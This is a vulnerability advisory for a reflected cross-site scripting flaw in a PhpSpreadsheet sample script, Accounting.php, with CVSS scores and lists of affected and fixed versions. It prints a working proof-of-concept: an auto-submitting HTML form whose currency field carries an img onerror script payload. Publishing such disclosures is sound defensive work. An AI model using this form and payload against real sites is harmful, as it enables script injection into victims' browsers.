PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
The advisory, in context
Unauthorized Reflected XSS in the Accounting.php file
Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.
Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST">
<input type="hidden" name="number" value="1234.5678" />
<input type="hidden" name="currency" value="$<img src=1 onerror=alert()>" />
<input type="hidden" name="decimals" value="2" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="spacing" value="0" />
<input type="hidden" name="submit" value="Display Mask" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />
Figure 8. Executing arbitrary JavaScript code
Credit
This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
From 3.0.0 before 3.7.0
Fixed in 3.7.0
4 explicitly affected versions
3.3.0, 3.4.0, 3.5.0, 3.6.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.7.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.3.0",
"3.4.0",
"3.5.0",
"3.6.0"
]
}Earlier releases before 1.29.7
Fixed in 1.29.7
51 explicitly affected versions
1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.13.0, 1.14.0, 1.14.1, 1.15.0, 1.16.0, 1.17.0, 1.17.1, 1.18.0, 1.19.0, 1.2.0, 1.2.1, 1.20.0, 1.21.0, 1.22.0, 1.23.0, 1.24.0, 1.24.1, 1.25.0, 1.25.1, 1.25.2, 1.26.0, 1.27.0, 1.27.1, 1.28.0, 1.29.0, 1.29.1, 1.29.2, 1.29.4, 1.29.5, 1.29.6, 1.3.0, 1.3.1, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.7.0, 1.8.0, 1.8.1, 1.8.2, 1.9.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.7"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0",
"1.0.0-beta",
"1.0.0-beta2",
"1.1.0",
"1.10.0",
"1.10.1",
"1.11.0",
"1.12.0",
"1.13.0",
"1.14.0",
"1.14.1",
"1.15.0",
"1.16.0",
"1.17.0",
"1.17.1",
"1.18.0",
"1.19.0",
"1.2.0",
"1.2.1",
"1.20.0",
"1.21.0",
"1.22.0",
"1.23.0",
"1.24.0",
"1.24.1",
"1.25.0",
"1.25.1",
"1.25.2",
"1.26.0",
"1.27.0",
"1.27.1",
"1.28.0",
"1.29.0",
"1.29.1",
"1.29.2",
"1.29.4",
"1.29.5",
"1.29.6",
"1.3.0",
"1.3.1",
"1.4.0",
"1.4.1",
"1.5.0",
"1.5.1",
"1.5.2",
"1.6.0",
"1.7.0",
"1.8.0",
"1.8.1",
"1.8.2",
"1.9.0"
]
}From 2.0.0 before 2.1.6
Fixed in 2.1.6
6 explicitly affected versions
2.0.0, 2.1.0, 2.1.1, 2.1.3, 2.1.4, 2.1.5
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0",
"2.1.0",
"2.1.1",
"2.1.3",
"2.1.4",
"2.1.5"
]
}From 2.2.0 before 2.3.5
Fixed in 2.3.5
7 explicitly affected versions
2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.2, 2.3.3, 2.3.4
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.3.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.2.0",
"2.2.1",
"2.2.2",
"2.3.0",
"2.3.2",
"2.3.3",
"2.3.4"
]
}Earlier releases through 1.8.2 (inclusive)
No fix recorded for this interval.
9 explicitly affected versions
1.7.9, 1.7.9-rc1, 1.8.0, 1.8.0rc1, 1.8.0rc2, 1.8.0rc3, 1.8.0rc4, 1.8.1, 1.8.2
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.8.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.7.9",
"1.7.9-rc1",
"1.8.0",
"1.8.0rc1",
"1.8.0rc2",
"1.8.0rc3",
"1.8.0rc4",
"1.8.1",
"1.8.2"
]
}